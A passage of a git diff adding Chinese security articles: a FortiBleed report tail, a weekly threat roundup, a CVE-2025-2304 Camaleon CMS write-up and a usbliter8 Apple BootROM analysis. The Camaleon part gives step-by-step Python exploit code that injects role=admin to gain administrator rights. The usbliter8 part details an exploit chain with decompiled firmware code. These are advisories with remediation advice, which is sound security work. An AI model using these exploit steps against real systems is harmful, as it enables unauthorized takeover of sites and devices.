亿美元。多名操作员可同时操作同一台虚拟机，通过共享终端会话协同作案。极具讽刺的是，他们用于破解哈希的服务器竟使用默认弱口令运行 —— 这正是他们大肆利用受害企业的同类漏洞。 + +至少四家机构遭完整攻陷，受害区域覆盖日本、中国台湾、越南、伊拉克、土耳其。影响最严重的案例为一家与北约存在业务往来的土耳其国防承包商，其涉密国防文件遭全部外泄。Ransomnews 并未独立核验外泄文件真实性，相关溯源结论仅为研究员研判，暂未实锤。 + +本次监测数据集覆盖全球 207 个国家、21613 家机构，合计 73932 台暴露在公网的 FortiGate 设备。从设备总量看印度居首，拉美电信企业的暴露设备密度最高；信息技术服务、电信、金融、政府机构为风险最高行业。 + +报告总结：“随机抽样一批存在暴露设备的企业，其中 88% 曾出现在盗号木马日志或数据泄露库中，38% 企业员工终端存在活跃盗号木马感染；约 590 家企业信息已登上勒索软件泄露网站。一台暴露在外的 FortiGate 防火墙极少是单一孤立风险，它只是一个显性信号，代表攻击者早已多次盯上这家单位。” + +公网暴露的 FortiGate 防火墙绝非孤立问题，而是攻击者已反复探测、渗透该企业的警示信号。 +## 防护处置建议 + +若企业部署 FortiGate 防火墙，务必尽可能将管理界面、SSL VPN 从公网移除；重置全部管理员账号与本地设备密码，升级 FortiOS 系统版本，强制注销所有在线 VPN 会话，阻断攻击者复用劫持 Cookie；同时重置全体员工账号密码，不可仅修改防火墙账户 —— 大量企业同时存在终端盗号木马感染问题，该风险不可忽视。 + +研究人员同步发布了 FortiBleed 检测工具，供运维管理员自查所属域名是否存在风险。 + + diff --git a/doc/2026-06/[安全周报] $1000 挖出 21 个 0day + 11.6 亿次撞库破 8.6 万台防火墙——2026 年漏洞的发现和利用，同周进入量产.md b/doc/2026-06/[安全周报] $1000 挖出 21 个 0day + 11.6 亿次撞库破 8.6 万台防火墙——2026 年漏洞的发现和利用，同周进入量产.md new file mode 100644 index 00000000..ea7b8a21 --- /dev/null +++ b/doc/2026-06/[安全周报] $1000 挖出 21 个 0day + 11.6 亿次撞库破 8.6 万台防火墙——2026 年漏洞的发现和利用，同周进入量产.md @@ -0,0 +1,98 @@ +# [安全周报] $1000 挖出 21 个 0day + 11.6 亿次撞库破 8.6 万台防火墙——2026 年漏洞的"发现"和"利用"，同周进入量产 +原创 极客零零七 + 极客零零七 极客零零七 2026-06-21 23:10 + +# 极客零零七 · 第24期 · 2026-06-21 +> **摘要** +：本周 FortiBleed 攻破 **86,644 台** + FortiGate、depthfirst 的 AI Agent 花 **$1000** + 在 FFmpeg 挖出 **21 个 0day** +、Apple A12/A13 的 SecureROM 被永久攻破——**漏洞从"发现"到"利用"同周双双进入工业化量产** +。上期我们说 AI 攻击能力被政府当军火管制，本期它已被一家创业公司用 $1000 平民化。 + +### 一、本周重大事件 +- **FortiBleed：86,644 台 FortiGate 沦陷，11.6 亿次撞库换来工业级凭据收割** +（凭据失守 / 边界 VPN） + +6 月中旬曝光的 FortiBleed 行动，由俄语黑客团伙对 **32 万+** + FortiGate 目标发起约 **11.6 亿次** +凭据尝试，系统性导出联网设备配置文件、爆破其中存储的 SSL VPN 凭据哈希。截至 **6 月 19 日** +，已在 **194 个国家** +确认 **86,644 台** +设备受影响，其中 **3 万～7.5 万台** +拿到了可用管理员凭据；通用 admin 账户（35%）与 Fortinet 内建系统账户（28.3%）占大头，受害方明显偏向 NATO 成员国。CISA 已发警告。 这不是新漏洞，是把"已泄露的配置 + 弱哈希"用工业化算力规模化变现——攻击者今天比的不是 exploit，是产能。 + +- **CISA KEV 连环新增：Cisco SD-WAN 第三度上榜，cPanel、Joomla 紧随** +（在野利用 / 补丁治理） +**6 月 15 日** +，CISA 把 CVE-2026-20262（Cisco Catalyst SD-WAN Manager 路径遍历）和 CVE-2026-54420（LiteSpeed cPanel 插件符号链接跟随）加入 KEV；**6 月 16 日** +再添 CVE-2026-48907（Joomla Content Editor 访问控制缺陷）。Cisco Catalyst SD-WAN Manager 已是连续第三期出现在我们的速览里。同一款边界管理平台被在野利用反复打穿，说明问题不在某个 CVE，而在这类"管全网的盒子"本身就是高价值单点。 + +- **Apple usbliter8：A12/A13 SecureROM 被永久攻破，无补丁可打** +（硬件零日 / 物理安全） +**6 月 18 日** +，Paradigm Shift 公开 usbliter8——一个针对 Apple A12/A13 芯片 SecureROM 的 USB DMA 缓冲下溢漏洞，可在签名引导链加载前、**2 秒内** +实现任意代码执行。漏洞烧在硅片里，**任何软件更新都无法修复** +；需物理接触、设备进入 DFU 并连一块 RP2350 板。影响 iPhone XS/XR/11、部分 iPad 及 Apple Watch S4/S5。承接上期 American Tower 的物理凭据泄露，本期把"物理边界"推到极致——当芯片级信任链补不了，设备保管与退役成了唯一防线。 + +### 二、攻防技术与手法 +- **depthfirst AI Agent：$1000 在 FFmpeg 挖出 21 个 0day，Chrome 同期补了创纪录的 429 个** +（AI 挖洞） + +创业公司 depthfirst 的自治安全 Agent 扫完 FFmpeg 约 **150 万行 C** +，产出 **21 个** +带可复现 PoC 的 0day，单次运行成本约 **$1000** +；部分漏洞潜伏 **15～23 年** +，最老的栈溢出可追溯到 2003 年。同期 Chrome 149 修复创纪录的 **429 个** +漏洞（含 CVSS **9.6** + 的 ANGLE 沙箱逃逸 CVE-2026-10881）。接上期"AI 攻击能力被当军火"，本期它被 $1000 平民化——0day 不再稀缺，稀缺的是补的速度。 + +- **usbliter8 PoC 公开：硬件级利用从理论变成 2 秒可复现** +（PoC 武器化 / 硬件攻击） + +usbliter8 不仅披露漏洞，还放出完整技术细节与可用 PoC，支持 A12、A13、S4、S5 多款 SoC。其关键在于 A12/A13 的 USB DART（IOMMU）在 SecureROM 中以 bypass 模式运行，使下溢的 DMA 指针可越界改写任意 SRAM。BootROM 级 PoC 一旦公开，取证解锁、越狱、定向植入工具会迅速跟进——这类设备从"低风险"变成"高敏环境必须清退"。 + +- **RoguePlanet（CVE-2026-50656）PoC 落地：Nightmare Eclipse 再出手，竞态提权弹 SYSTEM** +（PoC 武器化） + +研究员 Nightmare Eclipse 披露的 CVE-2026-50656（CVSS **7.8** +）公开了 PoC——利用 Microsoft Defender 的一处竞态条件，以 SYSTEM 权限弹出命令行；微软仍在赶制补丁。上期我们追踪的 Nightmare Eclipse 本期兑现了新一轮0day 投放，且这次直接打安全软件本身——你的 EDR 既是防线，也是提权跳板。 + +### 安全趋势 + +**漏洞经济的"产能"被彻底打开——找洞、撞库、出 PoC，本周全部进入流水线** + +**第一，"找洞"被量产了。** + depthfirst 一个 Agent、$1000、一次运行，挖出 21 个潜伏数十年的 0day。这意味着任何有钱有代码库的人，都能批量生产 0day——稀缺的不再是漏洞，而是防御方打补丁的速度。 + +**第二，"利用"也被量产了。** + FortiBleed 没有用任何新漏洞，靠的是 11.6 亿次工业化撞库，把弱哈希批量还原成可用凭据。攻击者的核心竞争力，已经从"会写 exploit"变成"有多大算力跑流水线"。 + +**第三，有些洞根本补不了，而量产能力正被国家级行为体接管。** + usbliter8 烧在硅片里，无补丁可打；FortiBleed 的俄语团伙、偏向 NATO 国家的目标选择，则说明这套量产能力正在地缘化。当"打补丁"这个动作本身失效，资产退役和设备保管成了最后一道闸。 + +未来 6-12 个月，0day 单价会跌、利用速度会涨，防御方的"打补丁窗口"被压缩到接近零。防御方需要做三件事：(1) 把"补丁速度"作为一级 KPI，按"是否在野 + 是否公网暴露"两维排序，放弃按 CVE 号顺序打；(2) 把凭据当作会被工业化爆破的资产，全面 PBKDF2/抗钓鱼 MFA、清除弱哈希；(3) 为"补不了的洞"建立资产退役流程。 +### 本周行动清单 +1. **FortiGate 全量按 CISA 清单处置** +：终止所有 SSL VPN 与管理会话、重置全部 Fortinet 凭据、启用 PBKDF2 存储、清除弱哈希、外部网关上抗钓鱼 MFA，并核查配置变更日志。 + +1. **CISA KEV 三新增本周闭环** +：优先处置公网暴露资产中的 Cisco Catalyst SD-WAN Manager（CVE-2026-20262）、LiteSpeed cPanel（CVE-2026-54420）、Joomla Content Editor（CVE-2026-48907）。 + +1. **Chrome 全员升 149** +：堵住在野零日 V8 CVE-2026-11645（CVSS 8.8）与 ANGLE 沙箱逃逸 CVE-2026-10881（CVSS 9.6），强制重启生效。 + +1. **用 RoguePlanet PoC 自检 EDR** +：以 CVE-2026-50656 验证 Defender 竞态提权能否被你的检测链捕获，并跟踪微软补丁进度。 + +1. **高敏环境清退 A12/A13 设备** +：usbliter8 无补丁，把 iPhone XS/XR/11、相关 iPad 及 Apple Watch S4/S5 纳入设备保管与退役计划。 + +> 关注「极客零零七」，每周实战攻防干货。 + +回复「提权」获取 Windows + Linux 提权速查表  +> 回复「AD 攻击」获取 AD 域攻击手册 + + + + diff --git a/doc/2026-06/[漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升.md b/doc/2026-06/[漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升.md new file mode 100644 index 00000000..9193053d --- /dev/null +++ b/doc/2026-06/[漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升.md @@ -0,0 +1,136 @@ +# [漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升 +原创 niuko + niuko Ncko 2026-06-21 01:30 + +  + +# [漏洞]CVE-2025-2304：Camaleon CMS 大规模赋值漏洞导致权限提升 + +免责声明： + +由于传播、利用本公众号Ncko所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！ +## 漏洞简介 + +CVE-2025-2304 是 Camaleon CMS（版本 < 2.9.1）中存在的一个严重的大规模赋值漏洞。该漏洞允许已认证的低权限用户通过操纵请求参数，将自身权限提升为管理员。 + +漏洞根源在于 updated_ajax + 接口未对用户提交的字段进行严格过滤，攻击者可以在更新个人资料的请求中注入 role + 参数，将角色从普通用户修改为 admin +，从而获得系统最高权限。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/5LNgXJargeXkB5iaslQYqHpjcQY1jAnK6nXZAX4tSvzTDBOiamUZpxbeqlVbEqHykJexf2LqadNNQ8daDVRT0Gw8ceCsm0TexwRpZSQiayVN7g/640?wx_fmt=png&from=appmsg "") + +## 漏洞原理分析 +### 什么是大规模赋值漏洞？ + +大规模赋元漏洞是指应用程序在接收用户输入并自动将其绑定到对象属性时，未对可修改的字段进行限制。攻击者可以通过在请求中添加额外参数，修改本不应由用户控制的字段。 +### Camaleon CMS 中的具体问题 + +在正常流程中，用户通过 /admin/users/{user_id}/updated_ajax + 接口更新个人资料，提交的参数包括密码、确认密码等。但后端在处理时，直接将请求参数映射到用户对象，未过滤 role + 字段。 + +关键问题代码逻辑如下： +``` +# 漏洞利用时发送的恶意请求体payload = {    "_method": "patch",    "authenticity_token": csrf_token,    "password[password]": password,    "password[password_confirmation]": password,    "password[role]": "admin"  # ← 恶意注入的角色字段} +``` + +后端接收到 password[role] + 参数后，直接将其赋值给用户的 role + 属性，导致普通用户瞬间变为管理员。 +### 利用流程 +``` +``` +## 漏洞利用步骤详解 +### 1. 环境准备 +``` +pip install requests beautifulsoup4 +``` +### 2. 获取 CSRF Token + +脚本首先访问登录页面，通过解析 HTML 中的  + 标签获取 CSRF 令牌： +``` +url = f"http://{dom}:{port}/admin/login"req = session.get(url)soup = BeautifulSoup(req.text, 'html.parser')meta_tag = soup.find('meta', attrs={'name': 'csrf-token'})csrf_token = meta_tag.get('content') +``` +### 3. 低权限用户登录 + +使用普通用户凭据进行认证，建立有效会话： +``` +creds = {    "authenticity_token": csrf_token,    "user[username]": user,    "user[password]": password}r = session.post(f"http://{dom}:{port}/admin/login", data=creds) +``` +### 4. 获取当前用户 ID + +访问个人资料编辑页面，从隐藏表单字段中提取用户 ID： +``` +url = f"http://{dom}:{port}/admin/profile/edit"req = session.get(url)soup = BeautifulSoup(req.text, 'html.parser')input_tag = soup.find('input', attrs={'name': 'user[id]'})user_id = input_tag.get("value") +``` +### 5. 注入恶意参数提权 + +构造包含 role=admin + 的请求发送至 updated_ajax + 接口： +``` +url = f"http://{dom}:{port}/admin/users/{user_id}/updated_ajax"payload = {    "_method": "patch",    "authenticity_token": csrf_token,    "password[password]": password,    "password[password_confirmation]": password,    "password[role]": "admin"}ex = session.post(url, data=payload, headers={    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) +``` +### 6. 验证提权结果 + +访问 Dashboard 页面，检查是否包含 Administrator + 关键字： +``` +dashboard_url = f"http://{dom}:{port}/admin/dashboard"req = session.get(dashboard_url)if "Administrator" in req.text:    print("[$] Successfully Escalated Privilege from Client to Admin...") +``` +## 漏洞影响评估 + +
维度
评估
危害等级
严重
攻击复杂度
低
所需权限
低权限账户
用户交互
无需用户交互
影响范围
完整系统接管
CVSS 3.x
8.8（High）
+## 修复建议 +### 官方修复 + +升级 Camaleon CMS 至 **2.9.1 及以上版本** +，官方已在新版本中对 updated_ajax + 接口的参数进行白名单过滤。 +### 临时缓解措施 +1. 1. **参数白名单过滤** +：在控制器层面对用户可修改的字段进行显式声明，拒绝接受 role + 等敏感字段 + +``` +# Ruby on Rails 示例修复def updated_ajax  user_params = params.require(:password).permit(:password, :password_confirmation)  # 不再接受 role 参数  current_user.update(user_params)end +``` +1. 2. **接口访问控制** +：限制 updated_ajax + 接口仅允许用户修改自身非敏感信息 + +1. 3. **WAF 规则** +：在 Web 应用防火墙层面对请求参数进行检测，拦截包含 role + 字段的异常请求 + +1. 4. **权限审计** +：定期审计系统中用户角色变更记录，发现异常提权行为 + +## 防御思考 + +大规模赋值漏洞是 Web 安全中常见但容易被忽视的问题。开发时应遵循以下原则： +- • **最小暴露原则** +：API 接口仅接收必要的参数，不使用批量赋值 + +- • **白名单优先** +：对用户输入字段使用白名单机制，而非黑名单 + +- • **分层校验** +：在控制器、模型、数据库多个层面进行字段权限控制 + +- • **角色变更审计** +：对关键权限变更操作记录日志并触发告警 + +## 结尾总结 + +CVE-2025-2304 再次提醒我们：**永远不要信任用户输入** +。大规模赋值漏洞看似简单，但危害极大——一个低权限用户仅需一个 HTTP 请求就能接管整个系统。对于使用 Camaleon CMS 的团队，请尽快确认版本并升级。对于开发者，在编写任何更新接口时，务必对可修改字段进行严格的白名单控制。 +> 在公众号发送 **CVE-2025-2304** +，即可获取对应项目链接。 + + +  + + diff --git a/doc/2026-06/usbliter8：苹果 A12∕A13 BootROM 硬件漏洞的完整利用路径.md b/doc/2026-06/usbliter8：苹果 A12∕A13 BootROM 硬件漏洞的完整利用路径.md new file mode 100644 index 00000000..60b51015 --- /dev/null +++ b/doc/2026-06/usbliter8：苹果 A12∕A13 BootROM 硬件漏洞的完整利用路径.md @@ -0,0 +1,242 @@ +# usbliter8：苹果 A12/A13 BootROM 硬件漏洞的完整利用路径 +原创 黑鸟 + 黑鸟 黑鸟 2026-06-21 14:41 + +2026 年 6 月 18 日，安全研究团队 Paradigm Shift 公开了名为 usbliter8 的 BootROM 漏洞研究成果，针对苹果 A12、S4/S5 以及 A13 系列 SoC 实现了 SecureROM（安全只读存储器）层面的完整代码执行。这项研究同时披露了 Synopsys DWC2 USB 控制器中的固有硬件缺陷，以及从漏洞触发到权限提升再到功能驻留的完整利用链路，再次证明即使是搭载现代安全机制的移动端芯片，底层硬件的细微漏洞依然足以击穿整条启动信任链。 + +SecureROM 是芯片出厂时固化在 BootROM 中的第一级启动代码，也是设备信任链的根节点。它的代码无法通过系统更新修改，存在于其中的漏洞通常被称为永久漏洞，会伴随设备整个生命周期。 + +本次漏洞的触发点位于 USB 控制器的硬件逻辑中，要理解漏洞原理，需要先了解两项基础机制，USB Setup 事务的结构与 DMA（直接内存访问）的工作方式。 + +按照 USB 规范定义，所有控制传输都必须以 Setup 事务作为起始，这是主机向设备发送各类请求的标准方式。一次完整的 Setup 事务由主机先后发送两个包组成。第一个是令牌包，携带 SETUP 标识、设备地址和端点号。第二个是数据包，固定为 8 字节，承载具体的 USB 设备请求结构，这部分数据会被直接传递给设备端的 USB 驱动处理。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDr9ibxOOxDbomdbBQmIjQo2YXmIJrZAh61Sa0NtnPsR5iaqRreCCMvy4D8Rf9ibUw70ibwpnz3o1PspgUZCbuxGOmo8OhsKWon8w1I/640?wx_fmt=png&from=appmsg "") + +苹果各代 SoC 中搭载的 USB 控制器均为 Synopsys 出品的 DWC2。该控制器通过 DMA 机制将收到的数据写入系统主存，不需要 CPU 参与数据搬运。AP 端会预先分配一块内存区域，将该区域的物理地址写入控制器 MMIO（内存映射输入输出）空间的 DOEPDMA 寄存器，控制器收到 SETUP 和 OUT 类型的数据包后，就会自动通过 DMA 写入这块缓冲区。 + +一个关键的细节是，控制器每完成一次数据写入，都会直接递增 DOEPDMA 寄存器中存储的地址值。这意味着该寄存器的值就是下一次 DMA 传输的真实目标地址，而非仅作为初始配置参数。 + +DWC2 控制器的设计中，最多可以在内存中连续存储三个 Setup 包。当收到第四个 Setup 事务时，控制器会将 DMA 基地址重置回起始位置，逻辑上相当于一个容量为 3 的环形缓冲区。正常情况下每个 Setup 包 8 字节，三个包共 24 字节，因此重置操作就是将 DOEPDMA 寄存器的值固定减去 24。 + +问题出在控制器对短数据包的处理逻辑上。控制器可以接受长度小于 8 字节的数据包，并且始终以 4 字节为单位存入缓冲区。这就导致每次写入后指针递增的幅度，和重置时固定减去的 24 字节无法对齐。反复触发这一逻辑后，DMA 指针会逐步向低地址方向偏移，形成每次 12 字节的缓冲区下溢原语。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDrDdYU1mxFz7ec3l63rr6XFpPRyPuvWLqib6O96lSszU39icrjayYDxt8dTutae8TQZ6uRcqDkFcPE7Fbz3xYHno45nY35KibVJhU/640?wx_fmt=png&from=appmsg "") + +研究团队判断这是 USB 控制器本身的硬件固有缺陷，但该缺陷能否被成功利用，还取决于设备固件的配置方式。不同代际的苹果芯片表现出明显差异。 + +A11 及更早的芯片中，USB 驱动会在每次收到数据包后手动重置 DMA 地址到初始值，完全抵消了硬件缺陷的影响，不存在可利用性 + +A12 与 A13 的 SecureROM 中，USB DART（设备地址重映射表）被配置为旁路模式，DMA 可以直接访问全部 SRAM 空间，攻击者能够自由覆盖内存数据 + +A14 及后续芯片在 SecureROM 阶段就正确配置了 DART 权限，即使触发硬件缺陷也无法实现有效内存覆盖，漏洞不可利用 + +拿到内存覆盖能力后，不同平台获得 PC（程序计数器）控制权的难度差异很大，核心分界点在于 A13 引入的 PAC（指针认证）机制。 +### A12 平台的直接利用 +### + +A12 的 SecureROM 没有 PAC 防护，利用过程相对直接。USB 控制器的 DMA 缓冲区被分配在堆内存上，位置紧邻 USB 任务的栈空间。攻击者只需要通过下溢原语逐步覆盖栈上保存的 LR（链接寄存器），当系统调度器切回 USB 任务时，就会直接跳转到攻击者指定的地址，获得完整 PC 控制权。 +### A13 平台的多步绕过 +### + +A13 引入了 PAC 机制，会对栈上存储的 LR 进行签名校验，直接覆盖栈 LR 的方法不再生效。同时堆内存还带有元数据校验和，上下文切换时也会验证 LR 签名。研究团队设计了多步组合技巧来绕过这些防护。 + +第一步，构造有限写原语并规避堆校验。堆内存中，DMA 缓冲区的前方紧邻着 DART 相关的数据结构。攻击者先覆盖这部分 DART 对象数据，获得有限的内存写能力，这些写操作会在退出 DFU（设备固件升级）循环时触发一次。利用清理流程中的 dart_stop 函数，可以实现 16 字节范围的零值写入。再通过该写原语修改后续解引用的指针，让 dart_free 函数中的释放操作变成空操作，避免被破坏的堆块被回收时触发校验和异常。 +``` +void dart_stop(unsigned int dart_id) +{ +  // [1] we can fully overwrite the heap memory for this object +  dart = darts[dart_id]; +  mmio_base = dart->info->mmio_base; +  v4 = 16 * dart->ctx->field_11 + 0x200; +  for ( int i = 0; i < 16; i += 4 ) { +    // [2] this gives us a 16-byte zero write primitive +    *(_DWORD *)(mmio_base + v4 + i) = 0; +  } +  dart_flush_maybe(mmio_base); +} +void dart_free(__int64 dart_id) +{ +  // [...] +  dart_stop(dart_id); +  enter_critical_section(); +  ref_count = info->ref_count - 1; +  info->ref_count = ref_count; +  if ( !ref_count ) +    irq_mask(info->int_irq_num); +  exit_critical_section(); +  // [3] we need to use the zero write primitive for these second deref to return 0 and make the free a no-op +  dart = darts[dart_id]; +  free(dart); +  darts[dart_id] = 0; +} +``` + + +第二步，改写 panic 逻辑让设备保持可交互。同一条清理路径中，dart_flush_maybe 函数会向指定地址写入固定值 0xF。攻击者将写入目标对准全局 panic 计数器，让计数阈值提前被触发。这样后续触发 panic 时，CPU 会进入无限自旋循环而不是重启设备，保证 USB 控制器依然处于工作状态。 +``` +void dart_flush_maybe(__int64 mmio_base) +{ +  __dmb(); +  // [4] these gives us a 0xF write primitive targeting the panic depth counter +  *(_DWORD *)(mmio_base + 52) = 0xF; +  *(_DWORD *)(mmio_base + 32) = 0; +  ticks = get_ticks(); +  while ( 1 ) { +    v3 = get_ticks(); +    if ( (*(_DWORD *)(mmio_base + 32) & 4) == 0 ) +      break; +    if ( v3 - ticks >= 1000000 ) +      panic(); +  } +} +void __noreturn panic() +{ +  // [5] after overwritting this global we would enter an infinite loop on panic +  if ( ++panic_cnt >= 3 ) +    spin(); +  // [...] +} +``` + +第三步，精准控制写入时机保护任务上下文。任务结构体中保存着 LR 和 SP 等上下文寄存器，任务切换时会从这里恢复执行状态。如果 DMA 写入破坏了这些值，任务切回时就会直接崩溃。攻击者需要将写入时机控制在 USB 任务处于运行状态的窗口内，这样当任务主动让出 CPU 时，硬件会把正确的寄存器值写回结构体，覆盖掉被篡改的内容。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDoqMna0Thv5Wpicz8hk4TP1MTg6dNe4sjpibWNfVDhhiaBQxCVcIed5lZc5ezibgmFMNd1MqMvpuAxHLwxparfQibblHBPuCuUMTVWA/640?wx_fmt=png&from=appmsg "") + +第四步，篡改临界区深度触发可控 panic。任务结构体中还保存着临界区深度计数字段。攻击者将该字段篡改为异常值，当系统调用退出临界区函数时就会触发 panic。由于此时中断仍然处于开启状态，进入自旋循环后 USB 中断依然可以响应，DMA 写入能力不会丢失。 +``` +void enter_critical_section() +{ +  current_task = current_task(); +  critical_section_depth = current_task->critical_section_depth; +  if ( critical_section_depth < 0 || critical_section_depth >= 10000 ) +    panic(); +  // [1] on each call increments task's critical_section_depth +  current_task->critical_section_depth = critical_section_depth + 1; +  if ( !critical_section_depth ) { +    irq_disable(); +  } +} +void exit_critical_section() +{ +  current_task = current_task(); +  // [2] should be equal to the amount of entries to `enter_critical_section` +  // but we can overwrite it with a smaller count +  critical_section_depth = current_task->critical_section_depth; +  // [3] on first entry it will enable interrupts and on second entry it will panic +  if ( critical_section_depth <= 0 ) +    panic(); +  critical_section_depth = critical_section_depth - 1; +  current_task->critical_section_depth = v2; +  if ( !critical_section_depth ) +    irq_enable(); +} +``` + +第五步，覆盖中断处理函数获得 PC 控制权。通过持续的 DMA 下溢写入，攻击者可以逐步覆盖到 BSS 段中的中断处理函数数组。将 USB 中断对应的处理函数指针替换为任意值后，下一次 USB 中断触发时，CPU 就会跳转到指定地址执行，最终实现完全的 PC 控制。 +``` +// [1] an array of `irq_handler_ctx` structs lives in the BSS section which we can reach with our bug +00000000 struct irq_handler_ctx // sizeof=0x18 +00000000 { +00000000     void (*handler)(void *arg); +00000008     __int64 *arg; +00000010     _BYTE unk; +00000011     _BYTE shall_mask; +00000012     // padding byte +00000013     // padding byte +00000014     // padding byte +00000015     // padding byte +00000016     // padding byte +00000017     // padding byte +00000018 }; +void handle_irq() +{ +  irq_num = MEMORY[0x23B102004]; +  if ( MEMORY[0x23B102004] ) { +    while ( irq_num ) { +      if ( (irq_num & 0x70000) != 0x10000 ) +        panic(); +      irq_num__ = irq_num & 0x1FF; +      // [2] after the Setup we can freely overwrite handler for USB interrupt with a controlled value +      handler = irq_list[irq_num__].handler; +      if ( handler ) +        // [3] fully controlled handler gets called with fully controlled arg +        handler(irq_list[irq_num__].arg); +      _clr_mask_irq(irq_num__); +      irq_num = MEMORY[0x23B102004]; +    } +  } else { +    ++stale; +  } +} +``` + +## 后利用：从 EL0 到系统级控制 + +拿到 PC 控制权只是第一步，SecureROM 大部分代码运行在 EL0 特权级，无法访问受保护的系统寄存器和内存区域。攻击者需要进一步提升权限并植入持久化的自定义逻辑。 +### A12 与 S4/S5 的 ROP 方案 + +A12 和 S4/S5 平台没有 PAC 防护，拿到 PC 控制权后可以直接构造 ROP（面向返回编程）链。这条 ROP 链很短，核心完成三项操作。首先通过 32 位写指令修改 USB MMIO 寄存器，重定向 DMA 的目标地址。其次等待约 400 毫秒，保证 DMA 传输完成。最后跳转到 ROM 中指定的 SVC 指令位置，切换到 EL1 特权级。 + +选择 SVC 指令位置的原因在于，SecureROM 仅在极少数位置会执行 SVC 0 指令，执行后系统会切换到 EL1 模式再返回。攻击者选择了负责跳转至下一级 iBoot 的函数中的 SVC 指令作为落点。 + +正常情况下启动蹦床区域属于仅可执行内存，EL0 和 EL1 都无法写入修改。但 DMA 传输直接由硬件执行，绕开了 CPU 的权限检查，因此可以向这片区域写入自定义 shellcode。400 毫秒的延迟就是为了保证 DMA 完整写入 shellcode。 + +固件本身包含状态校验逻辑，防止跳转到函数中间执行。但编译器生成的校验代码中，有一项检查使用 X24 寄存器作为基地址。X24 属于被调用者保存寄存器，它的值存储在栈上，而栈已经被攻击者完全控制，因此这项校验可以被轻松绕过。 + +获得 EL1 权限后，攻击者需要完成一系列清理工作。将原始启动蹦床代码还原到原位，恢复所有被破坏的堆分配结构，在启动蹦床的未使用空间中注入自定义 USB 请求处理函数，修改 USB 序列号字符串加入 PWND 标识，最后修复 USB 任务的栈帧并返回正常执行流。最终设备会停留在 DFU 模式，但已经加载了攻击者的自定义处理逻辑。 + +自定义处理程序会将标准 DFU 请求转发给原生处理逻辑，同时新增两项能力。一项是临时降级 SoC 的生产模式，效果持续到设备重启。另一项是直接启动未经签名校验的原始 iBoot 镜像。 + +这里有一个实现细节，不能直接在 USB 处理函数内部调用 iBoot 跳转函数。因为跳转前会关停 USB 硬件，导致当前运行的 USB 任务直接终止。正确的做法是修改主任务栈上的返回地址，关闭 DFU 会话后由主任务接管执行，完成最终的跳转流程。 +### A13 的 ROM 重映射方案 + +A13 平台受 PAC 限制无法使用常规 ROP，但启动蹦床区域位于 BSS 段与堆之间，可以通过 DMA 直接覆盖。跳转函数同样带有状态检查，依赖栈上保存的 X22 寄存器，但 A13 上无法直接控制该寄存器。 + +研究团队找到了一个可用的代码 gadget。跳转到该位置后，X22 寄存器的值会直接来自攻击者可控的内存区域，后续代码会从 X22 指向的内存中取出函数指针并执行认证分支。虽然固件大量使用带认证的分支指令，但实际仅启用了 IB 密钥，攻击者可以顺利完成跳转，获得最高权限执行能力。 + +A13 平台的内存破坏范围更大，常规清理手段难以实现。研究团队采用了 SecureROM 重启的方案。将完整的 ROM 代码复制到 SRAM 的末端区域，对副本打上自定义补丁，再配置 MMU（内存管理单元）将这段 SRAM 的物理地址映射到原 ROM 的虚拟地址空间，让代码可以正常寻址。 + +ROM 自身初始化过程中会创建新的页表并切换，这会打破自定义的映射关系。攻击者通过挂钩 ROM 的页表生成逻辑，保证新页表中依然保留自定义的地址映射。 + +最终打上的补丁共有四处。第一处缩小加载区域的大小，避免 ROM 初始化时清零 SRAM 尾部的自定义代码。第二处强制系统进入 DFU 模式，不会直接启动系统。第三处挂钩 USB 序列号生成逻辑，加入 PWND 标识。第四处注入自定义 USB 请求处理函数。 + +由于该漏洞需要操控非常底层的 USB 数据包行为，普通电脑的标准 USB 栈无法满足时序和包结构的控制要求，因此需要借助专用微控制器硬件实现。 + +官方测试验证过的开发板均基于 RP2350 芯片，包括微雪 RP2350 USB-A、微雪 RP2350 Zero、Pimoroni TINY2350 以及树莓派 Pico 2。使用时搭配 Lightning 转 USB-A 线缆，部分型号需要移除板上的 R13 电阻。其他 RP2350 开发板也可使用，需要自行焊接 Lightning 线缆对应的引脚。默认使用 GPIO12 和 GPIO13 分别连接 D+ 与 D- 信号，不建议使用 USB-C 线缆，引脚定义差异较大，且 Lightning 端的线缆不宜过长。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDqiakjDvZEKpv7I7P4s0XryvoLx5phxibWHyiaOAicvQkJ1SGR2VRfo89AB5o0JtWQM9BWTbF2h2OmXia6unHlhl9ialLPpJWKMbcCTQ/640?wx_fmt=png&from=appmsg "") + +RP2040 芯片理论上也可使用，但稳定性较差，且完全无法支持 A13 平台。 + +完整的利用流程如下。首先让目标设备进入 DFU 模式，注意不能通过破坏 LLB 的方式进入 DFU，否则无法触发漏洞。将设备从电脑上拔出，转接到 RP2350 开发板，0.7 到 1.2 秒内即可完成利用过程。用户可以通过板载 LED 的状态判断进度，也可以连接虚拟串口查看详细日志。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDoyTDnwoYxFc5YyqzWMx9Cjp1ib4WwthxUwChXKqy3tb3twN6tichiaolYz5XeGSoOpWwwibIMVyxhYgTsLRuQkt5CRNYeEqdKr70c/640?wx_fmt=png&from=appmsg "") + +利用成功后，将设备重新接回电脑，在 USB 设备的序列号字段末尾可以看到 PWND:[usbliter8] 的标识。项目仓库中提供了名为 usbliter8ctl 的 Python 控制工具，基于 pyusb 库开发，可以执行生产模式降级和原始 iBoot 启动操作。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibO9kiauylaDrsfFWLm0zyfFp6fhGKeiafcd2KTtkO8icniaImx8BNx33XPLq7Miaw9w1yUh3V48yNKIsZX8cyiaF55fT1OQUWducGc0ia3cIQ2hjtg/640?wx_fmt=png&from=appmsg "") + 